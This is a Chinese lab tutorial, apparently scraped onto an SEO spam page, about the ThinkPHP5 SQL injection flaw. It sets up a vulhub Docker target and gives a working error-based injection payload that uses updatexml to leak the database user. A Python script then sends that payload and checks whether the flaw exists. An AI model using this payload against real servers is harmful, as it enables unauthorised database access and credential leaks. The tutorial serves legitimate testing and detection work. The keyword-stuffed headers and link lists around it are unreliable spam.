当前位置: 首页 > news >正文

化妆品网站建设方案的预算市场营销培训

化妆品网站建设方案的预算,市场营销培训,搜索seo,网站营销型企业销售平台Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六) 漏洞环境搭建 这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 …

Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 in-sqlinjection 漏洞举例,如果我们想要安装 in-sqlinjection 漏洞环境,可以 cd 到 in-sqlinjection ,然后输入以下命令启动靶场环境:

docker-compose up -d

在这里插入图片描述

然后我们在浏览器输入 https://localhost:8083 就可以访问靶场环境

在这里插入图片描述

Thinkphp5 SQL注入漏洞原理

ThinkPHP 5 是一个开源的 PHP 框架,被广泛用于构建 Web 应用程序。然而,由于编码不规范或未经适当验证的用户输入数据,可能会导致 SQL 注入漏洞。

SQL 注入攻击是一种利用应用程序对用户输入数据的处理不当,导致恶意 SQL 代码被执行的攻击方式。攻击者通过在用户输入的数据中注入恶意的 SQL 代码,从而获得对数据库的访问权限或执行未授权的操作。

在 ThinkPHP 5 中,SQL 注入漏洞的主要原因是传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

Thinkphp5 SQL注入漏洞 POC

接下来我们给出Thinkphp5 SQL注入漏洞的POC,代码内容如下:

index.php?ids[]=1&ids[]=2
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

我们像URL路径下添加POC就可以看到泄露的账户和密码:

在这里插入图片描述

Thinkphp5 SQL注入漏洞 POC编写

现在我们用python编写检测Thinkphp5 SQL注入漏洞的代码,内容如下:

#!/usr/bin/env pythonimport requests
from urllib.parse import urljoindef thinkphp5_sqli(url):payload = urljoin(url,'/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1')response = requests.get(url=payload, verify=False)if 'XPATH syntax error' in response.text:print('漏洞存在')else:print('漏洞不存在')if __name__ == '__main__':url = 'http://localhost:8083/'thinkphp5_sqli(url)

POC代码详细分析

这段代码是用于检测ThinkPHP 5框架的SQL注入漏洞。首先,代码导入了必要的库,包括requestsurllib.parse模块。然后,定义了一个名为thinkphp5_sqli的函数,该函数接收一个url参数。

函数主要通过构造一个特定的payload来检测目标URL是否存在漏洞。在payload中,使用了urljoin函数来构造一个URL,其中包含了一个恶意的SQL注入语句。具体来说,这个注入语句使用了updatexml函数来执行一些恶意的操作,比如获取当前用户。

然后,代码使用requests库发送一个GET请求,并将构造的payload作为url参数传递给请求。verify参数设置为False,表示不进行SSL验证。

最后,代码检查响应中是否包含了'XPATH syntax error'这个字符串。如果存在该字符串,说明目标URL存在SQL注入漏洞,输出"漏洞存在"。否则,输出"漏洞不存在"。

if name == 'main':部分,代码定义了一个默认的url为'http://localhost:8083/',并调用thinkphp5_sqli函数来检测该URL是否存在漏洞。可以根据需要修改默认的url参数来检测其他URL。

运行效果图

如下是我们这串代码的实际运行效果图:

在这里插入图片描述

http://www.yayakq.cn/news/674430/

相关文章:

  • 接网站建设单子注意事项海南中小企业网站建设
  • 网页制作与网站建设 在线作业wordpress怎样添加版权名
  • 南宁网站建设专业品牌上海市建设教育网站
  • 平台网站建设预算表正规软件开发培训学校
  • 怎么下载网站的模板郑州做网站找维诺
  • 怎么找个人搭建网站济南网站建设代码
  • 免费自助设计网站网站建设推广是什么意思
  • 网站排名恢复购物商城网页模板
  • 我想建设一个算命网站网站建设目标是
  • 禅城区建网站公司斯特云流量网站
  • wordpress抽奖源码东莞seo站内优化
  • 网站建设策划怎么沟通php做网站还是linux
  • 电子商务网站建设要多少钱湖南智能网站建设报价
  • 小公司建设网站成都网站建设需要多少钱
  • 查看网站dns服务器网站备案忘记密码怎么办
  • 定制网站和模板建站哪个好用兰州网站排名外包
  • 大连做网站公司visio做网站效果
  • seo关键词搜索优化江门seo推广优化
  • 国外产品展示网站模板济南网站建设开发公司
  • 原子艺术做的网站怎么样子普陀区网站建设公司
  • 成都本地做网站的大都会的同行码怎么用
  • 一个网站有个前端后端怎么做做搜狗pc网站排
  • 国内网站空间 优帮云常见的网站开发语言
  • 做网站的编程语言组合做冷冻食品的网站
  • 企业网站备案域名可以用个人的做网站一定要服务器吗
  • 网站建设衤金手指花总十四企业微信app官网下载
  • 美食优秀设计网站新闻危机公关
  • 网站建设方案及报价苏州建站模板厂家
  • 企业营销策划是什么中山短视频seo教程
  • o2o模式的电商平台网站有哪些搜索引擎营销seo